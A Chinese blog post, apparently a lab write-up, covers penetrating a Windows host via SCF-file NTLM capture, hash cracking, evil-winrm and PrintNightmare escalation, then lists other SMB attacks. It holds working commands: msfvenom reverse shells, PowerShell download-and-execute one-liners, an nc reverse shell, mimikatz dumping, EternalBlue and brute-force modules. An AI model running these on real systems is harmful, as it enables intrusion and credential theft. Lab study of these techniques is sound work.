网络安全之渗透实战学习(网络安全渗透工程师 百科)
nanshan 2024-10-14 11:22 11 浏览 0 评论
前言
本次渗透以SMB共享之SCF文件攻击为突破点,利用burp编码爆破Basic Authorization认证、smb连接的多种方法、windows用户的NTLM值破解方法、evil-winrm的运用、windows主机信息收集工具、msf运行powershell脚本、远程运行powershell脚本、PrintNightmare漏洞提权等多个知识点。
本次渗透过程从技术层面来说难度并不算很大,本文精华在于渗透过程中运用到了多个知识点,并对多种利用SMB攻击的方法作了总结,下面开始此次渗透实战之旅。
信息收集
首先进行基本的端口扫描;
看到445端口,想到了smb的多种利用方法;看到5985,想到了可能要利用evil-winrm;然后在重点照顾下445端口;
nmap -A --script smb-vuln* -p 445 10.10.11.106
并没有发现直接的突破口,那我们还是从web入手。
smb匿名登录
尝试一波smb匿名登录,看是否存在共享文件,可以作为突破的线索;
常用命令总结如下:
smbmap -H 10.10.11.106
smbclient -N -L //10.10.11.106
enum4linux -a 10.10.11.106
暂时没有发现。
为了感谢广大读者伙伴的支持,准备了以下福利给到大家:
【一>所有资源关注我,私信回复“资料”获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)
burp编码爆破
打开网页,弹出Basic Authorization认证
抓包进行爆破;
划红线的地方要设置3次,分别为:1、admin 2、: 3、 密码
用个弱口令字典,跑出结果了;
admin:admin
SMB共享之SCF文件攻击
登录后台,发现一个可上传文件的地方;
经过多次尝试,这里可利用SCF文件攻击进行渗透,下面介绍3种利用方法:
通过 NTLM 捕获进行 SMB 攻击
基本原理:SCF(Shell 命令文件)文件可用于执行一组有限的操作,一个 SCF 文件可以用来访问一个特定的 UNC 路径,允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享。
[Shell]Command=2
IconFile=\\10.10.16.4\share\hack.ico
[Taskbar]
Command=ToggleDesktop
将hack.txt文件保存为SCF文件,在文件名前面添加@符号可以将hack.scf放在共享驱动器文件列表的顶部。(@hack.scf)并设置接收方法;
Responder需要使用以下参数执行来捕获浏览共享的用户的哈希值。
responder -wrf -I tun0
当用户浏览共享时,将自动会从系统建立网络连接,连接到包含在SCF文件内的UNC路径。Windows将尝试使用用户名和密码对该共享进行身份验证。在验证过程中,随机的8字节质询密钥会从服务器发送到客户端,散列后的NTLM / LANMAN密码再次使用这个质询密钥进行加密。Responder将捕获NTLMv2哈希。
除了Responder,MSF也有一个模块,可以用来捕获来自SMB客户端的挑战 – 响应密码哈希。
auxiliary/server/capture/smb
上传之前的hack.scf来触发,就获取到了用户的NTLM值。
直接获取shell
利用MSF框架实现攻击。
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.4
set smbhost 192.168.0.100
set srvport 8080
exploit
上传之前的hack.scf来触发,但本次渗透中该方法实测失败了。
上传payload获取shell
本方法的主要优点是它不需要与用户有任何交互,并自动强制用户连接到共享,在这个过程中不存在NTLMv2哈希的协商过程。因此,也可以将此技术与SMB中继相结合,SMB中继将提供有效载荷,可以从访问该共享的每个用户检索Meterpreter Shell。
MSFVenom可用于生成将在目标上执行的有效载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > hack.exe
利用Impacket中的smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝试连接SMB服务器时提供有效载荷。这将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。
./smbrelayx.py -h Target-IP -e ./hack.exe
同时利用MSF设置木马的回连端:
exploit/multi/handler
模块需要配置与生成的有效载荷相同的参数。
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit
当用户浏览共享时,SMB服务器将接收到连接,并且将使用用户名和密码散列来与他的系统进行认证,并将有效载荷执行为可写共享。本次渗透中该方法实测失败。
获取到NTLM值后,下一步尝试破解。
LM NTLM NET-NTLM2破解
Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM Hash,第二部分是NT Hash
LM
Windows Vista / Server 2008已经默认关闭,在老版本可以遇到,但根据windwos的向下兼容性,可以通过组策略启用它
示例:299BD128C1101FD6
hash破解:
john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
NThash
NTLM是现在Windows系统上存储密码的方式,可以通过转储SAM数据库或使用Mimikatz来获得。
示例:B4B9B02E6F09A9BD760F388B67351E2B
hash破解:
john --format=nt hash.txt
hashcat -m 1000 -a 3 hash.txt
NTLMV1
NTLM协议在服务器和客户端之间的质询/响应中使用NTHash,协议的v1同时使用NT和LM哈希,具体取决于配置和可用内容。
示例:
u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
hash破解:
john --format=netntlm hash.txt
hashcat -m 5500 -a 3 hash.txt
NTLMV2
这是NTLM协议的新版本和改进版本,这使其很难破解。该概念与NTLMv1相同,只是发送到服务器的算法和响应不同,从Windows 2000开始,在Windows中为默认值。
示例:
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
hash破解:
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
在本次渗透中用的是NTLMV2;
hashcat -m 5600 -a 3 123.txt --wordlist top100.txt
john --format=netntlmv2 123.txt -w=top100.txt
成功得到用户名和密码:tony:liltony
根据开放的445和5985端口,连接一波;
尝试psexec连接失败;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
evil-winrm -i 10.10.11.106 -u tony -p liltony
连接成功,下面就要开始想办法进行提权。
smb带用户名密码登录
利用得到的用户名和密码,再次尝试登录smb共享;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
提权
主机信息收集
尝试使用命令,结果没有权限执行;
那就用脚本来跑,常用的是winPEASx64.exe或者winPEAS.bat,这里有个小坑,程序运行时要加反斜杠;
结果很多,最后发现print spooler service 服务;
利用最近的WINDOWS PRINT SPOOLER远程代码执行漏洞(CVE-2021-1675)来提权。
https://github.com/calebstewart/CVE-2021-1675
测试发现直接导入powershell脚本会报错;
下面分别采用2种方法;
msf加载powershell
生成个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=7777 -f exe > hack.exe
接收反弹;
利用evil-winrm上传hack.exe,运行;
程序会报错且会话中断,迁移下进程,再次尝试;
需要事先上传ps1脚本到主机对应的位置,否则找不到脚本;!
这次就成功执行了脚本,添加了一个新的用户且有administrator权限。还可以尝试一波远程运行ps脚本。
远程运行powershell脚本
远程下载文件到本地并执行
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe
远程执行ps1脚本
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
自己搭建个http服务器
远程运行ps脚本;
IEX(New-Object Net.Webclient).downloadstring('http://10.10.16.4:8000/CVE-2021-1675.ps1')
Invoke-Nightmare -NewUser "hack123" -NewPassword "hack123"
抓取密码试试;
./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit
至此,成功拿下了该主机,下面彩蛋环节,总结下其他几种smb常见的攻击方法。
smb攻击方式
Windows SMB 的版本
CIFS:SMB 的旧版本,于 1996 年包含在 Microsoft Windows NT 4.0 中。
SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。
SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008。
SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2。
SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012。
SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2。
SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10。
目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。该版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,还支持 AES 128 GCM 加密,并使用SHA-512 哈希。当连接到使用 SMB 2.x 及更高版本的客户端时,SMB 3.1.1 还强制要求进行安全协商。
永恒之蓝
我们运行以下MSF模块,该模块将直接利用目标机器。
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit
暴力破解
hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L --> 表示用户名列表
-P --> 表示密码
如果破解成功,就可以枚举系统上的用户;
use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit
实测一下;
PSexec 连接SMB
可以用msf里的模块;
use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit
因为本次渗透无法成功,补了之前的一张图;
还可以用Impacket中的psexec.py
#用明文密码连接
./psexec.py xie/administrator:密码@192.168.10.131
#用哈希值连接
./psexec.py xie/administrator@192.168.10.131 -hashes AADA8EDA23213C025AE50F5CD5697D9F:6542D35ED5FF6AE5E75B875068C5D3BC
还可以直接用psexec.exe程序;
Rundll32 One-liner
通过Metasploit的SMB Delivery启动Rundll32攻击
Metasploit还包含了生成恶意dll文件的“SMB Delivery”模块。该模块通过SMB服务器提供payload,并提供检索和执行生成payload的命令。目前支持DLL和Powershell。
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
这将生成恶意 DLL 文件的链接,现在将此链接发送到你的目标并等待他的操作。
一旦受害者在运行提示符或命令提示符内运行恶意代码,我们就会在 Metasploit 上获得一个 Meterpreter 会话。
SMB DOS 攻击
SMB Dos 攻击是我们在 Metasploit 框架中拥有的另一种最优秀的方法。
该模块利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客户端中的拒绝服务缺陷。要触发此错误,请将此模块作为服务运行,并强制易受攻击的客户端作为 SMB 服务器访问此系统的 IP。如果目标使用 Internet Explorer 或 Word 文档,则可以通过将 UNC 路径 (\HOST\share\something) 嵌入到网页中来实现。
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit
远程文件传输和运行
文件传输用法如下:
利用著名的impacket包里的smbserver.py,进行文件传输。
目录根据你自己定smbserver.py share ‘/root/exp’
然后在监听的shell里copy CEH.kdbx \10.10.14.57\Share,成功收到文件
还可以远程运行程序;
开启impacket里的smbsever服务,把ms15-051x64和nc64.exe放到我指定的共享文件,
python smbserver.py Share '/root/htb/bastard'
在shell里执行反弹;
\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"
另外本机监听443.收到,搞定
总结
对于SCF文件攻击,我们也可以通过下列方法来防止这种攻击的发生:
1、使用Kerbeors认证或SMB签名;
2、禁用共享文件给未认证用户所提供的写入权限;
3、确保使用的是NTLMv2密码并增加口令的复杂程度。
相关推荐
- 雷军1994年写的老代码曝光,被称像诗一样优雅
-
大数据文摘授权转载自程序员的那些事雷军的代码像诗一样优雅↓↓↓有些网友在评论中质疑,说雷军代码不会是“屎”一样优雅吧。说这话的网友,也许是开玩笑的,也许是真没看过雷军写过的代码。在2011年的时候,我...
- 原创经验分享:低级bug耗费12小时Fix
-
调试某程序非常简单的程序,简单到认为不可能存在缺陷,但该BUG处理时间超过12小时:程序属于后台进程,监控系统每隔15秒检查外设IO状态,IO异常后发出报警或复位外设,外设都在linux下有/sys/...
- SpringBoot实现的简单停车位管理系统附带导入和演示教程视频
-
这一次为大家带来的是简单的停车位管理系统,基于SpringBoot+Thymeleaf+Mybatis框架,这个系统相对来说比较简单,很容易学习并快速上手,因为逻辑很清晰,没有太复杂的代码逻辑,所以学...
- 一个开箱即用的代码生成器(代码自动生成工具开源)
-
今天给大家推荐一个好用的代码生成器,名为renren-generator,该项目附带前端页面,可以很方便的选择我们所需要生成代码的表。首先我们通过git工具克隆下来代码(地址见文末),导入idea。...
- 【免费开源】JeecgBoot单点登录源码全部开源了
-
JeecgBoot单点登录源码全部开源了,有需要的朋友可以来薅羊毛了。一、JeecgBoot介绍JeecgBoot是一款企业级的低代码平台!前后端分离架构SpringBoot2.x,SpringCl...
- SpringBoot+JWT+Shiro+Mybatis实现Restful快速开发后端脚手架
-
作者:lywJee来源:cnblogs.com/lywJ/p/11252064.html一、背景前后端分离已经成为互联网项目开发标准,它会为以后的大型分布式架构打下基础。SpringBoot使编码配置...
- 为什么越来越多的人选择使用idea软件
-
IDEA软件是什么?IDEA软件是干什么的?为什么越来越多的人选择使用IDEA软件?IDEA软件,全称IntelliJIDEA,它是由JetBrains公司开发开发的一款功能强大的集成开发环境(ID...
- 开题报告大学生互助系统(附源码)java毕设
-
本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容选题背景随着互联网技术的飞速发展,大学生群体对信息共享与互助的需求日益增长。关于大...
- SpringBoot项目快速开发框架JeecgBoot——项目简介及系统架构!
-
项目简介及系统架构JeecgBoot是一款基于SpringBoot的开发平台,它采用前后端分离架构,集成的框架有SpringBoot2.x、SpringCloud、AntDesignof...
- 新手配电脑13代CPU怎么选择(新手配电脑13代cpu怎么选择好)
-
Intel第13代酷睿i3、i5、i7、i9系列处理器的核心参数、性能差异及适用群体的详细说明(以桌面端为例):一、13代酷睿全系参数对比(桌面端主流型号)参数i3-13100i5-13600Ki7-...
- 加速 SpringBoot 应用开发,官方热部署神器真带劲
-
平时使用SpringBoot开发应用时,修改代码后需要重新启动才能生效。如果你的应用足够大的话,启动可能需要好几分钟。有没有什么办法可以加速启动过程,让我们开发应用代码更高效呢?今天给大家推荐一款Sp...
- 基于微信小程序的移动端物流系统-计算机毕业设计源码+LW文档
-
摘要随着Internet的发展,人们的日常生活已经离不开网络。未来人们的生活与工作将变得越来越数字化,网络化和电子化。网上管理,它将是直接管理移动端物流系统app的最新形式。本论文是以构建移动端物流系...
- springboot教务管理系统+微信小程序云开发附带源码
-
今天给大家分享的程序是基于springboot的管理,前端是小程序,系统非常的nice,不管是学习还是毕设都非常的靠谱。本系统主要分为pc端后台管理和微信小程序端,pc端有三个角色:管理员、学生、教师...
- SpringBoot全家桶:23篇博客加23个可运行项目让你对它了如指掌
-
SpringBoot现在已经成为Java开发领域的一颗璀璨明珠,它本身是包容万象的,可以跟各种技术集成。本项目对目前Web开发中常用的各个技术,通过和SpringBoot的集成,并且对各种技术通...
- Maven+JSP+Servlet+C3P0+Mysql实现的音乐库管理系统
-
本系统基于Maven+JSP+Servlet+C3P0+Mysql实现的音乐库管理系统。简单实现了充值、购买歌曲、poi数据导入导出、歌曲上传下载、歌曲播放、用户注册登录注销等功能。难度等级:简单技术...
你 发表评论:
欢迎- 一周热门
-
-
UOS服务器操作系统防火墙设置(uos20关闭防火墙)
-
极空间如何无损移机,新Z4 Pro又有哪些升级?极空间Z4 Pro深度体验
-
如何修复用户配置文件服务在 WINDOWS 上登录失败的问题
-
手机如何设置与显示准确时间的详细指南
-
如何在安装前及安装后修改黑群晖的Mac地址和Sn系列号
-
日本海上自卫队的军衔制度(日本海上自卫队的军衔制度是什么)
-
NAS:DS video/DS file/DS photo等群晖移动端APP远程访问的教程
-
爱折腾的特斯拉车主必看!手把手教你TESLAMATE的备份和恢复
-
10个免费文件中转服务站,分享文件简单方便,你知道几个?
-
FANUC 0i-TF数据备份方法(fanuc系统备份教程)
-
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)